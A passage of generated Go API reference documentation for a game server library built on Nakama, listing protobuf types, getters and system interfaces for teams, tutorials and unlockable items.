func (*Team) GetCreateTimeSec

func (x *Team) GetCreateTimeSec() int64

func (*Team) GetCreatorId

func (x *Team) GetCreatorId() string

func (*Team) GetDescription

func (x *Team) GetDescription() string

func (*Team) GetEdgeCount

func (x *Team) GetEdgeCount() int32

func (*Team) GetIcon

func (x *Team) GetIcon() string

func (*Team) GetId

func (x *Team) GetId() string

func (*Team) GetLangTag

func (x *Team) GetLangTag() string

func (*Team) GetMaxCount

func (x *Team) GetMaxCount() int32

func (*Team) GetMetadata

func (x *Team) GetMetadata() string

func (*Team) GetName

func (x *Team) GetName() string

func (*Team) GetOpen

func (x *Team) GetOpen() bool

func (*Team) GetUpdateTimeSec

func (x *Team) GetUpdateTimeSec() int64

func (*Team) ProtoMessage

func (*Team) ProtoMessage()

func (*Team) ProtoReflect

func (x *Team) ProtoReflect() protoreflect.Message

func (*Team) Reset

func (x *Team) Reset()

func (*Team) String

func (x *Team) String() string

type TeamCreateRequest

type TeamCreateRequest struct {

	// The name of the team to be created.
	Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"`
	// The description of the team to be created.
	Desc string `protobuf:"bytes,2,opt,name=desc,proto3" json:"desc,omitempty"`
	// True if the team is open to join by any user.
	Open bool `protobuf:"varint,3,opt,name=open,proto3" json:"open,omitempty"`
	// The icon artwork reference ID for the team, if any.
	Icon string `protobuf:"bytes,4,opt,name=icon,proto3" json:"icon,omitempty"`
	// The language expected to be a tag which follows the BCP-47 spec.
	LangTag string `protobuf:"bytes,5,opt,name=lang_tag,json=langTag,proto3" json:"lang_tag,omitempty"`
	// The starting metadata passed in as part of creating the team.
	SetupMetadata string `protobuf:"bytes,6,opt,name=setup_metadata,json=setupMetadata,proto3" json:"setup_metadata,omitempty"`
	// contains filtered or unexported fields
}

A request to create a team.

func (*TeamCreateRequest) Descriptor deprecated

func (*TeamCreateRequest) Descriptor() ([]byte, []int)

Deprecated: Use TeamCreateRequest.ProtoReflect.Descriptor instead.

func (*TeamCreateRequest) GetDesc

func (x *TeamCreateRequest) GetDesc() string

func (*TeamCreateRequest) GetIcon

func (x *TeamCreateRequest) GetIcon() string

func (*TeamCreateRequest) GetLangTag

func (x *TeamCreateRequest) GetLangTag() string

func (*TeamCreateRequest) GetName

func (x *TeamCreateRequest) GetName() string

func (*TeamCreateRequest) GetOpen

func (x *TeamCreateRequest) GetOpen() bool

func (*TeamCreateRequest) GetSetupMetadata

func (x *TeamCreateRequest) GetSetupMetadata() string

func (*TeamCreateRequest) ProtoMessage

func (*TeamCreateRequest) ProtoMessage()

func (*TeamCreateRequest) ProtoReflect

func (x *TeamCreateRequest) ProtoReflect() protoreflect.Message

func (*TeamCreateRequest) Reset

func (x *TeamCreateRequest) Reset()

func (*TeamCreateRequest) String

func (x *TeamCreateRequest) String() string

type TeamList

type TeamList struct {

	// The current page of teams returned in the list.
	Teams []*Team `protobuf:"bytes,1,rep,name=teams,proto3" json:"teams,omitempty"`
	// A cursor used to get the next page.
	Cursor string `protobuf:"bytes,2,opt,name=cursor,proto3" json:"cursor,omitempty"`
	// contains filtered or unexported fields
}

A list of teams.

func (*TeamList) Descriptor deprecated

func (*TeamList) Descriptor() ([]byte, []int)

Deprecated: Use TeamList.ProtoReflect.Descriptor instead.

func (*TeamList) GetCursor

func (x *TeamList) GetCursor() string

func (*TeamList) GetTeams

func (x *TeamList) GetTeams() []*Team

func (*TeamList) ProtoMessage

func (*TeamList) ProtoMessage()

func (*TeamList) ProtoReflect

func (x *TeamList) ProtoReflect() protoreflect.Message

func (*TeamList) Reset

func (x *TeamList) Reset()

func (*TeamList) String

func (x *TeamList) String() string

type TeamListRequest

type TeamListRequest struct {

	// An optional cursor used to get the next page.
	Cursor string `protobuf:"bytes,1,opt,name=cursor,proto3" json:"cursor,omitempty"`
	// The optional location filter.
	Location string `protobuf:"bytes,2,opt,name=location,proto3" json:"location,omitempty"`
	// An optional limit on how many results are returned. Defaults to 10.
	Limit int32 `protobuf:"varint,3,opt,name=limit,proto3" json:"limit,omitempty"`
	// contains filtered or unexported fields
}

A request to list teams which a user can join.

func (*TeamListRequest) Descriptor deprecated

func (*TeamListRequest) Descriptor() ([]byte, []int)

Deprecated: Use TeamListRequest.ProtoReflect.Descriptor instead.

func (*TeamListRequest) GetCursor

func (x *TeamListRequest) GetCursor() string

func (*TeamListRequest) GetLimit

func (x *TeamListRequest) GetLimit() int32

func (*TeamListRequest) GetLocation

func (x *TeamListRequest) GetLocation() string

func (*TeamListRequest) ProtoMessage

func (*TeamListRequest) ProtoMessage()

func (*TeamListRequest) ProtoReflect

func (x *TeamListRequest) ProtoReflect() protoreflect.Message

func (*TeamListRequest) Reset

func (x *TeamListRequest) Reset()

func (*TeamListRequest) String

func (x *TeamListRequest) String() string

type TeamSearchRequest

type TeamSearchRequest struct {

	// The search term(s) passed in by the user.
	Input string `protobuf:"bytes,1,opt,name=input,proto3" json:"input,omitempty"`
	// An optional limit on how many results are returned. Defaults to 10.
	Limit int32 `protobuf:"varint,2,opt,name=limit,proto3" json:"limit,omitempty"`
	// Additionally search by language, if specified.
	LangTag string `protobuf:"bytes,3,opt,name=lang_tag,json=langTag,proto3" json:"lang_tag,omitempty"`
	// contains filtered or unexported fields
}

A request to search for teams which the user wants to join.

func (*TeamSearchRequest) Descriptor deprecated

func (*TeamSearchRequest) Descriptor() ([]byte, []int)

Deprecated: Use TeamSearchRequest.ProtoReflect.Descriptor instead.

func (*TeamSearchRequest) GetInput

func (x *TeamSearchRequest) GetInput() string

func (*TeamSearchRequest) GetLangTag

func (x *TeamSearchRequest) GetLangTag() string

func (*TeamSearchRequest) GetLimit

func (x *TeamSearchRequest) GetLimit() int32

func (*TeamSearchRequest) ProtoMessage

func (*TeamSearchRequest) ProtoMessage()

func (*TeamSearchRequest) ProtoReflect

func (x *TeamSearchRequest) ProtoReflect() protoreflect.Message

func (*TeamSearchRequest) Reset

func (x *TeamSearchRequest) Reset()

func (*TeamSearchRequest) String

func (x *TeamSearchRequest) String() string

type TeamWriteChatMessageRequest

type TeamWriteChatMessageRequest struct {

	// The ID of the team.
	Id string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"`
	// The content of the chat message. Usually an escaped JSON object.
	Content string `protobuf:"bytes,2,opt,name=content,proto3" json:"content,omitempty"`
	// contains filtered or unexported fields
}

A request to write a chat message to the channel for a team the user is part of.

func (*TeamWriteChatMessageRequest) Descriptor deprecated

func (*TeamWriteChatMessageRequest) Descriptor() ([]byte, []int)

Deprecated: Use TeamWriteChatMessageRequest.ProtoReflect.Descriptor instead.

func (*TeamWriteChatMessageRequest) GetContent

func (x *TeamWriteChatMessageRequest) GetContent() string

func (*TeamWriteChatMessageRequest) GetId

func (*TeamWriteChatMessageRequest) ProtoMessage

func (*TeamWriteChatMessageRequest) ProtoMessage()

func (*TeamWriteChatMessageRequest) ProtoReflect

func (*TeamWriteChatMessageRequest) Reset

func (x *TeamWriteChatMessageRequest) Reset()

func (*TeamWriteChatMessageRequest) String

func (x *TeamWriteChatMessageRequest) String() string

type TeamsConfig

type TeamsConfig struct {
	MaxTeamSize int `json:"max_team_size,omitempty"`
}

TeamsConfig is the data definition for a TeamsSystem type.

type TeamsSystem

type TeamsSystem interface {
	System

	// Create makes a new team (i.e. Nakama group) with additional metadata which configures the team.
	Create(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, req *TeamCreateRequest) (team *Team, err error)

	// List will return a list of teams which the user can join.
	List(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, req *TeamListRequest) (teams *TeamList, err error)

	// Search for teams based on given criteria.
	Search(ctx context.Context, db *sql.DB, logger runtime.Logger, nk runtime.NakamaModule, req *TeamSearchRequest) (teams *TeamList, err error)

	// WriteChatMessage sends a message to the user's team even when they're not connected on a realtime socket.
	WriteChatMessage(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID string, req *TeamWriteChatMessageRequest) (resp *ChannelMessageAck, err error)
}

A TeamsSystem is a gameplay system which wraps the groups system in Nakama server.

type Tutorial

type Tutorial struct {

	// The unique tutorial identifier.
	Id string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"`
	// The current step in the tutorial.
	Current int32 `protobuf:"varint,2,opt,name=current,proto3" json:"current,omitempty"`
	// The maximum step in the tutorial based on configuration.
	Max int32 `protobuf:"varint,3,opt,name=max,proto3" json:"max,omitempty"`
	// The accepted state of the tutorial.
	State TutorialState `protobuf:"varint,4,opt,name=state,proto3,enum=hiro.TutorialState" json:"state,omitempty"`
	// The UNIX timestamp when the tutorial was last updated.
	UpdateTimeSec int64 `protobuf:"varint,5,opt,name=update_time_sec,json=updateTimeSec,proto3" json:"update_time_sec,omitempty"`
	// The UNIX timestamp when the tutorial was completed, if it is completed.
	CompleteTimeSec int64 `protobuf:"varint,6,opt,name=complete_time_sec,json=completeTimeSec,proto3" json:"complete_time_sec,omitempty"`
	// Additional metadata properties.
	AdditionalProperties map[string]string `` /* 209-byte string literal not displayed */
	// contains filtered or unexported fields
}

An individual set of tutorial steps.

func (*Tutorial) Descriptor deprecated

func (*Tutorial) Descriptor() ([]byte, []int)

Deprecated: Use Tutorial.ProtoReflect.Descriptor instead.

func (*Tutorial) GetAdditionalProperties

func (x *Tutorial) GetAdditionalProperties() map[string]string

func (*Tutorial) GetCompleteTimeSec

func (x *Tutorial) GetCompleteTimeSec() int64

func (*Tutorial) GetCurrent

func (x *Tutorial) GetCurrent() int32

func (*Tutorial) GetId

func (x *Tutorial) GetId() string

func (*Tutorial) GetMax

func (x *Tutorial) GetMax() int32

func (*Tutorial) GetState

func (x *Tutorial) GetState() TutorialState

func (*Tutorial) GetUpdateTimeSec

func (x *Tutorial) GetUpdateTimeSec() int64

func (*Tutorial) ProtoMessage

func (*Tutorial) ProtoMessage()

func (*Tutorial) ProtoReflect

func (x *Tutorial) ProtoReflect() protoreflect.Message

func (*Tutorial) Reset

func (x *Tutorial) Reset()

func (*Tutorial) String

func (x *Tutorial) String() string

type TutorialAbandonRequest

type TutorialAbandonRequest struct {

	// The tutorial to abandon.
	Id string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"`
	// contains filtered or unexported fields
}

A request to abandon a tutorial.

func (*TutorialAbandonRequest) Descriptor deprecated

func (*TutorialAbandonRequest) Descriptor() ([]byte, []int)

Deprecated: Use TutorialAbandonRequest.ProtoReflect.Descriptor instead.

func (*TutorialAbandonRequest) GetId

func (x *TutorialAbandonRequest) GetId() string

func (*TutorialAbandonRequest) ProtoMessage

func (*TutorialAbandonRequest) ProtoMessage()

func (*TutorialAbandonRequest) ProtoReflect

func (x *TutorialAbandonRequest) ProtoReflect() protoreflect.Message

func (*TutorialAbandonRequest) Reset

func (x *TutorialAbandonRequest) Reset()

func (*TutorialAbandonRequest) String

func (x *TutorialAbandonRequest) String() string

type TutorialAcceptRequest

type TutorialAcceptRequest struct {

	// The tutorial to accept.
	Id string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"`
	// contains filtered or unexported fields
}

A request to accept a tutorial.

func (*TutorialAcceptRequest) Descriptor deprecated

func (*TutorialAcceptRequest) Descriptor() ([]byte, []int)

Deprecated: Use TutorialAcceptRequest.ProtoReflect.Descriptor instead.

func (*TutorialAcceptRequest) GetId

func (x *TutorialAcceptRequest) GetId() string

func (*TutorialAcceptRequest) ProtoMessage

func (*TutorialAcceptRequest) ProtoMessage()

func (*TutorialAcceptRequest) ProtoReflect

func (x *TutorialAcceptRequest) ProtoReflect() protoreflect.Message

func (*TutorialAcceptRequest) Reset

func (x *TutorialAcceptRequest) Reset()

func (*TutorialAcceptRequest) String

func (x *TutorialAcceptRequest) String() string

type TutorialDeclineRequest

type TutorialDeclineRequest struct {

	// The tutorial to decline.
	Id string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"`
	// contains filtered or unexported fields
}

A request to decline a tutorial.

func (*TutorialDeclineRequest) Descriptor deprecated

func (*TutorialDeclineRequest) Descriptor() ([]byte, []int)

Deprecated: Use TutorialDeclineRequest.ProtoReflect.Descriptor instead.

func (*TutorialDeclineRequest) GetId

func (x *TutorialDeclineRequest) GetId() string

func (*TutorialDeclineRequest) ProtoMessage

func (*TutorialDeclineRequest) ProtoMessage()

func (*TutorialDeclineRequest) ProtoReflect

func (x *TutorialDeclineRequest) ProtoReflect() protoreflect.Message

func (*TutorialDeclineRequest) Reset

func (x *TutorialDeclineRequest) Reset()

func (*TutorialDeclineRequest) String

func (x *TutorialDeclineRequest) String() string

type TutorialList

type TutorialList struct {

	// All available tutorials.
	Tutorials map[string]*Tutorial `` /* 159-byte string literal not displayed */
	// contains filtered or unexported fields
}

The full tutorial statuses for a given user.

func (*TutorialList) Descriptor deprecated

func (*TutorialList) Descriptor() ([]byte, []int)

Deprecated: Use TutorialList.ProtoReflect.Descriptor instead.

func (*TutorialList) GetTutorials

func (x *TutorialList) GetTutorials() map[string]*Tutorial

func (*TutorialList) ProtoMessage

func (*TutorialList) ProtoMessage()

func (*TutorialList) ProtoReflect

func (x *TutorialList) ProtoReflect() protoreflect.Message

func (*TutorialList) Reset

func (x *TutorialList) Reset()

func (*TutorialList) String

func (x *TutorialList) String() string

type TutorialResetRequest

type TutorialResetRequest struct {

	// The tutorials to reset.
	Ids []string `protobuf:"bytes,1,rep,name=ids,proto3" json:"ids,omitempty"`
	// contains filtered or unexported fields
}

A request to reset the state of one or more tutorials.

func (*TutorialResetRequest) Descriptor deprecated

func (*TutorialResetRequest) Descriptor() ([]byte, []int)

Deprecated: Use TutorialResetRequest.ProtoReflect.Descriptor instead.

func (*TutorialResetRequest) GetIds

func (x *TutorialResetRequest) GetIds() []string

func (*TutorialResetRequest) ProtoMessage

func (*TutorialResetRequest) ProtoMessage()

func (*TutorialResetRequest) ProtoReflect

func (x *TutorialResetRequest) ProtoReflect() protoreflect.Message

func (*TutorialResetRequest) Reset

func (x *TutorialResetRequest) Reset()

func (*TutorialResetRequest) String

func (x *TutorialResetRequest) String() string

type TutorialState

type TutorialState int32

The states of a Tutorial.

const (
	// The Tutorial has not been accepted/declined by the user yet.
	TutorialState_TUTORIAL_STATE_NONE TutorialState = 0
	// The Tutorial was accepted.
	TutorialState_TUTORIAL_STATE_ACCEPTED TutorialState = 1
	// The Tutorial was declined.
	TutorialState_TUTORIAL_STATE_DECLINED TutorialState = 2
	// The Tutorial is in progress.
	TutorialState_TUTORIAL_STATE_IN_PROGRESS TutorialState = 3
	// The Tutorial has been completed.
	TutorialState_TUTORIAL_STATE_COMPLETED TutorialState = 4
	// The Tutorial has been abandoned.
	TutorialState_TUTORIAL_STATE_ABANDONED TutorialState = 5
)

func (TutorialState) Descriptor

func (TutorialState) Enum

func (x TutorialState) Enum() *TutorialState

func (TutorialState) EnumDescriptor deprecated

func (TutorialState) EnumDescriptor() ([]byte, []int)

Deprecated: Use TutorialState.Descriptor instead.

func (TutorialState) Number

func (TutorialState) String

func (x TutorialState) String() string

func (TutorialState) Type

type TutorialUpdateRequest

type TutorialUpdateRequest struct {

	// The tutorial to update.
	Id string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"`
	// The latest step that should be marked completed. All previous steps will also be marked as completed.
	Step int32 `protobuf:"varint,2,opt,name=step,proto3" json:"step,omitempty"`
	// contains filtered or unexported fields
}

A request to update a tutorial.

func (*TutorialUpdateRequest) Descriptor deprecated

func (*TutorialUpdateRequest) Descriptor() ([]byte, []int)

Deprecated: Use TutorialUpdateRequest.ProtoReflect.Descriptor instead.

func (*TutorialUpdateRequest) GetId

func (x *TutorialUpdateRequest) GetId() string

func (*TutorialUpdateRequest) GetStep

func (x *TutorialUpdateRequest) GetStep() int32

func (*TutorialUpdateRequest) ProtoMessage

func (*TutorialUpdateRequest) ProtoMessage()

func (*TutorialUpdateRequest) ProtoReflect

func (x *TutorialUpdateRequest) ProtoReflect() protoreflect.Message

func (*TutorialUpdateRequest) Reset

func (x *TutorialUpdateRequest) Reset()

func (*TutorialUpdateRequest) String

func (x *TutorialUpdateRequest) String() string

type TutorialsConfig

type TutorialsConfig struct {
	Tutorials map[string]*TutorialsConfigTutorial `json:"tutorials,omitempty"`
}

TutorialsConfig is the data definition for the TutorialsSystem type.

type TutorialsConfigTutorial

type TutorialsConfigTutorial struct {
	StartStep            int               `json:"start_step,omitempty"`
	MaxStep              int               `json:"max_step,omitempty"`
	AdditionalProperties map[string]string `json:"additional_properties,omitempty"`
}

type TutorialsSystem

type TutorialsSystem interface {
	System

	// Get returns all tutorials defined and progress made by the user towards them.
	Get(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID string) (tutorials map[string]*Tutorial, err error)

	// Accept marks a tutorial as accepted by the user.
	Accept(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, tutorialID string, userID string) (tutorial *Tutorial, err error)

	// Decline marks a tutorial as declined by the user.
	Decline(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, tutorialID string, userID string) (tutorial *Tutorial, err error)

	// Abandon marks the tutorial as abandoned by the user.
	Abandon(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, tutorialID string, userID string) (tutorial *Tutorial, err error)

	// Update modifies a tutorial by its ID to step through it for the user by ID.
	Update(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID, tutorialID string, step int) (tutorial map[string]*Tutorial, err error)

	// Reset wipes all known state for the given tutorial identifier(s).
	Reset(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID string, tutorialIDs []string) (tutorials map[string]*Tutorial, err error)

	// SetOnStepCompleted registers a hook that fires on tutorial step completions.
	SetOnStepCompleted(func(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID, tutorialID string, config *TutorialsConfigTutorial, resetCount, step int, prevStep *int))
}

The TutorialsSystem is a gameplay system which records progress made through tutorials.

type Unlockable

type Unlockable struct {

	// The unlockable definition ID, eg. "bronze-chest".
	Id string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"`
	// The instance ID.
	InstanceId string `protobuf:"bytes,2,opt,name=instance_id,json=instanceId,proto3" json:"instance_id,omitempty"`
	// The category the unlockable is part of.
	Category string `protobuf:"bytes,3,opt,name=category,proto3" json:"category,omitempty"`
	// The cost to begin unlocking this particular unlockable.
	StartCost *UnlockableCost `protobuf:"bytes,4,opt,name=start_cost,json=startCost,proto3" json:"start_cost,omitempty"`
	// The cost to fully unlock this unlockable, accounting for any time already spent.
	Cost *UnlockableCost `protobuf:"bytes,5,opt,name=cost,proto3" json:"cost,omitempty"`
	// The description, if any. May be an i18n code.
	Description string `protobuf:"bytes,6,opt,name=description,proto3" json:"description,omitempty"`
	// The name. May be an i18n code.
	Name string `protobuf:"bytes,7,opt,name=name,proto3" json:"name,omitempty"`
	// The reward already granted when the unlockable has been claimed.
	Reward *Reward `protobuf:"bytes,8,opt,name=reward,proto3" json:"reward,omitempty"`
	// The available rewards for when the unlockable is claimed.
	AvailableRewards *AvailableRewards `protobuf:"bytes,9,opt,name=available_rewards,json=availableRewards,proto3" json:"available_rewards,omitempty"`
	// Total time this unlockable will take to unlock once activated.
	WaitTimeSec int32 `protobuf:"varint,10,opt,name=wait_time_sec,json=waitTimeSec,proto3" json:"wait_time_sec,omitempty"`
	// The UNIX timestamp when this unlockable was granted to the user.
	CreateTimeSec int64 `protobuf:"varint,11,opt,name=create_time_sec,json=createTimeSec,proto3" json:"create_time_sec,omitempty"`
	// The UNIX timestamp when this unlockable began unlocking, or 0 if it is not active.
	UnlockStartTimeSec int64 `protobuf:"varint,12,opt,name=unlock_start_time_sec,json=unlockStartTimeSec,proto3" json:"unlock_start_time_sec,omitempty"`
	// The UNIX timestamp when this unlockable will complete unlocking and become claimable, or 0 if it is not active.
	UnlockCompleteTimeSec int64 `` /* 130-byte string literal not displayed */
	// If the unlock process has completed (either by time elapsed or purchase) and the unlockable reward can be claimed.
	CanClaim bool `protobuf:"varint,14,opt,name=can_claim,json=canClaim,proto3" json:"can_claim,omitempty"`
	// Additional metadata properties.
	AdditionalProperties map[string]string `` /* 210-byte string literal not displayed */
	// Additional time that has been added to speed up the unlockable's progress, if any.
	AdvanceTimeSec int64 `protobuf:"varint,16,opt,name=advance_time_sec,json=advanceTimeSec,proto3" json:"advance_time_sec,omitempty"`
	// contains filtered or unexported fields
}

A single unlockable object.

func (*Unlockable) Descriptor deprecated

func (*Unlockable) Descriptor() ([]byte, []int)

Deprecated: Use Unlockable.ProtoReflect.Descriptor instead.

func (*Unlockable) GetAdditionalProperties

func (x *Unlockable) GetAdditionalProperties() map[string]string

func (*Unlockable) GetAdvanceTimeSec

func (x *Unlockable) GetAdvanceTimeSec() int64

func (*Unlockable) GetAvailableRewards

func (x *Unlockable) GetAvailableRewards() *AvailableRewards

func (*Unlockable) GetCanClaim

func (x *Unlockable) GetCanClaim() bool

func (*Unlockable) GetCategory

func (x *Unlockable) GetCategory() string

func (*Unlockable) GetCost

func (x *Unlockable) GetCost() *UnlockableCost

func (*Unlockable) GetCreateTimeSec

func (x *Unlockable) GetCreateTimeSec() int64

func (*Unlockable) GetDescription

func (x *Unlockable) GetDescription() string

func (*Unlockable) GetId

func (x *Unlockable) GetId() string

func (*Unlockable) GetInstanceId

func (x *Unlockable) GetInstanceId() string

func (*Unlockable) GetName

func (x *Unlockable) GetName() string

func (*Unlockable) GetReward

func (x *Unlockable) GetReward() *Reward

func (*Unlockable) GetStartCost

func (x *Unlockable) GetStartCost() *UnlockableCost

func (*Unlockable) GetUnlockCompleteTimeSec

func (x *Unlockable) GetUnlockCompleteTimeSec() int64

func (*Unlockable) GetUnlockStartTimeSec

func (x *Unlockable) GetUnlockStartTimeSec() int64

func (*Unlockable) GetWaitTimeSec

func (x *Unlockable) GetWaitTimeSec() int32

func (*Unlockable) ProtoMessage

func (*Unlockable) ProtoMessage()

func (*Unlockable) ProtoReflect

func (x *Unlockable) ProtoReflect() protoreflect.Message

func (*Unlockable) Reset

func (x *Unlockable) Reset()

func (*Unlockable) String

func (x *Unlockable) String() string

type UnlockableCost

type UnlockableCost struct {

	// The items which will be deducted.
	Items map[string]int64 `` /* 152-byte string literal not displayed */
	// The currencies which will be deducted.
	Currencies map[string]int64 `` /* 162-byte string literal not displayed */
	// contains filtered or unexported fields
}

The unlockable cost, may relate to starting an unlock, or fully completing it.

func (*UnlockableCost) Descriptor deprecated

func (*UnlockableCost) Descriptor() ([]byte, []int)

Deprecated: Use UnlockableCost.ProtoReflect.Descriptor instead.

func (*UnlockableCost) GetCurrencies

func (x *UnlockableCost) GetCurrencies() map[string]int64

func (*UnlockableCost) GetItems

func (x *UnlockableCost) GetItems() map[string]int64

func (*UnlockableCost) ProtoMessage

func (*UnlockableCost) ProtoMessage()

func (*UnlockableCost) ProtoReflect

func (x *UnlockableCost) ProtoReflect() protoreflect.Message

func (*UnlockableCost) Reset

func (x *UnlockableCost) Reset()

func (*UnlockableCost) String

func (x *UnlockableCost) String() string

type UnlockableSlotCost

type UnlockableSlotCost struct {

	// The items which will be deducted.
	Items map[string]int64 `` /* 152-byte string literal not displayed */
	// The currencies which will be deducted.
	Currencies map[string]int64 `` /* 162-byte string literal not displayed */
	// contains filtered or unexported fields
}

The cost to purchase an additional unlockable active slot.

func (*UnlockableSlotCost) Descriptor deprecated

func (*UnlockableSlotCost) Descriptor() ([]byte, []int)

Deprecated: Use UnlockableSlotCost.ProtoReflect.Descriptor instead.

func (*UnlockableSlotCost) GetCurrencies

func (x *UnlockableSlotCost) GetCurrencies() map[string]int64

func (*UnlockableSlotCost) GetItems

func (x *UnlockableSlotCost) GetItems() map[string]int64

func (*UnlockableSlotCost) ProtoMessage

func (*UnlockableSlotCost) ProtoMessage()

func (*UnlockableSlotCost) ProtoReflect

func (x *UnlockableSlotCost) ProtoReflect() protoreflect.Message

func (*UnlockableSlotCost) Reset

func (x *UnlockableSlotCost) Reset()

func (*UnlockableSlotCost) String

func (x *UnlockableSlotCost) String() string

type UnlockablesConfig

type UnlockablesConfig struct {
	ActiveSlots      int                                     `json:"active_slots,omitempty"`
	MaxActiveSlots   int                                     `json:"max_active_slots,omitempty"`
	Slots            int                                     `json:"slots,omitempty"`
	SlotCost         *UnlockablesConfigSlotCost              `json:"slot_cost,omitempty"`
	Unlockables      map[string]*UnlockablesConfigUnlockable `json:"unlockables,omitempty"`
	MaxQueuedUnlocks int                                     `json:"max_queued_unlocks,omitempty"`

	UnlockableProbabilities []string `json:"-"`
}

UnlockablesConfig is the data definition for a UnlockablesSystem type.

type UnlockablesConfigSlotCost

type UnlockablesConfigSlotCost struct {
	Items      map[string]int64 `json:"items,omitempty"`
	Currencies map[string]int64 `json:"currencies,omitempty"`
}

type UnlockablesConfigUnlockable

type UnlockablesConfigUnlockable struct {
	Probability          int                                   `json:"probability,omitempty"`
	Category             string                                `json:"category,omitempty"`
	Cost                 *UnlockablesConfigUnlockableCost      `json:"cost,omitempty"`
	CostUnitTimeSec      int                                   `json:"cost_unit_time_sec,omitempty"`
	Description          string                                `json:"description,omitempty"`
	Name                 string                                `json:"name,omitempty"`
	StartCost            *UnlockablesConfigUnlockableStartCost `json:"start_cost,omitempty"`
	Reward               *EconomyConfigReward                  `json:"reward,omitempty"`
	WaitTimeSec          int                                   `json:"wait_time_sec,omitempty"`
	AdditionalProperties map[string]string                     `json:"additional_properties,omitempty"`
}

type UnlockablesConfigUnlockableCost

type UnlockablesConfigUnlockableCost struct {
	Items      map[string]int64 `json:"items,omitempty"`
	Currencies map[string]int64 `json:"currencies,omitempty"`
}

type UnlockablesConfigUnlockableStartCost

type UnlockablesConfigUnlockableStartCost struct {
	Items      map[string]int64 `json:"items,omitempty"`
	Currencies map[string]int64 `json:"currencies,omitempty"`
}

type UnlockablesList

type UnlockablesList struct {

	// The list of unlockables owned by a user.
	Unlockables []*Unlockable `protobuf:"bytes,1,rep,name=unlockables,proto3" json:"unlockables,omitempty"`
	// The unlockable overflow slot.
	Overflow *Unlockable `protobuf:"bytes,2,opt,name=overflow,proto3" json:"overflow,omitempty"`
	// The total number of non-overflow slots.
	Slots int32 `protobuf:"varint,3,opt,name=slots,proto3" json:"slots,omitempty"`
	// The current number of active slots.
	ActiveSlots int32 `protobuf:"varint,4,opt,name=active_slots,json=activeSlots,proto3" json:"active_slots,omitempty"`
	// The max number of active slots the user can ever obtain.
	MaxActiveSlots int32 `protobuf:"varint,5,opt,name=max_active_slots,json=maxActiveSlots,proto3" json:"max_active_slots,omitempty"`
	// The cost to purchase the next active slot, if another is available for purchase.
	SlotCost *UnlockableSlotCost `protobuf:"bytes,6,opt,name=slot_cost,json=slotCost,proto3" json:"slot_cost,omitempty"`
	// The newly granted unlockable, if any.
	InstanceId string `protobuf:"bytes,7,opt,name=instance_id,json=instanceId,proto3" json:"instance_id,omitempty"`
	// Unlockable instance IDs queued to start unlocking as soon as possible.
	QueuedUnlocks []string `protobuf:"bytes,8,rep,name=queued_unlocks,json=queuedUnlocks,proto3" json:"queued_unlocks,omitempty"`
	// Maximum unlock queue size.
	MaxQueuedUnlocks int32 `protobuf:"varint,9,opt,name=max_queued_unlocks,json=maxQueuedUnlocks,proto3" json:"max_queued_unlocks,omitempty"`
	// contains filtered or unexported fields
}

A list of unlockables currently owned by a user.

func (*UnlockablesList) Descriptor deprecated

func (*UnlockablesList) Descriptor() ([]byte, []int)

Deprecated: Use UnlockablesList.ProtoReflect.Descriptor instead.

func (*UnlockablesList) GetActiveSlots

func (x *UnlockablesList) GetActiveSlots() int32

func (*UnlockablesList) GetInstanceId

func (x *UnlockablesList) GetInstanceId() string

func (*UnlockablesList) GetMaxActiveSlots

func (x *UnlockablesList) GetMaxActiveSlots() int32

func (*UnlockablesList) GetMaxQueuedUnlocks

func (x *UnlockablesList) GetMaxQueuedUnlocks() int32

func (*UnlockablesList) GetOverflow

func (x *UnlockablesList) GetOverflow() *Unlockable

func (*UnlockablesList) GetQueuedUnlocks

func (x *UnlockablesList) GetQueuedUnlocks() []string

func (*UnlockablesList) GetSlotCost

func (x *UnlockablesList) GetSlotCost() *UnlockableSlotCost

func (*UnlockablesList) GetSlots

func (x *UnlockablesList) GetSlots() int32

func (*UnlockablesList) GetUnlockables

func (x *UnlockablesList) GetUnlockables() []*Unlockable

func (*UnlockablesList) ProtoMessage

func (*UnlockablesList) ProtoMessage()

func (*UnlockablesList) ProtoReflect

func (x *UnlockablesList) ProtoReflect() protoreflect.Message

func (*UnlockablesList) Reset

func (x *UnlockablesList) Reset()

func (*UnlockablesList) String

func (x *UnlockablesList) String() string

type UnlockablesQueueAddRequest

type UnlockablesQueueAddRequest struct {

	// Unlockable instance IDs to add.
	InstanceIds []string `protobuf:"bytes,1,rep,name=instance_ids,json=instanceIds,proto3" json:"instance_ids,omitempty"`
	// contains filtered or unexported fields
}

Request to add a set of unlockables to the unlock queue.

func (*UnlockablesQueueAddRequest) Descriptor deprecated

func (*UnlockablesQueueAddRequest) Descriptor() ([]byte, []int)

Deprecated: Use UnlockablesQueueAddRequest.ProtoReflect.Descriptor instead.

func (*UnlockablesQueueAddRequest) GetInstanceIds

func (x *UnlockablesQueueAddRequest) GetInstanceIds() []string

func (*UnlockablesQueueAddRequest) ProtoMessage

func (*UnlockablesQueueAddRequest) ProtoMessage()

func (*UnlockablesQueueAddRequest) ProtoReflect

func (*UnlockablesQueueAddRequest) Reset

func (x *UnlockablesQueueAddRequest) Reset()

func (*UnlockablesQueueAddRequest) String

func (x *UnlockablesQueueAddRequest) String() string

type UnlockablesQueueRemoveRequest

type UnlockablesQueueRemoveRequest struct {

	// Unlockable instance IDs to remove.
	InstanceIds []string `protobuf:"bytes,1,rep,name=instance_ids,json=instanceIds,proto3" json:"instance_ids,omitempty"`
	// contains filtered or unexported fields
}

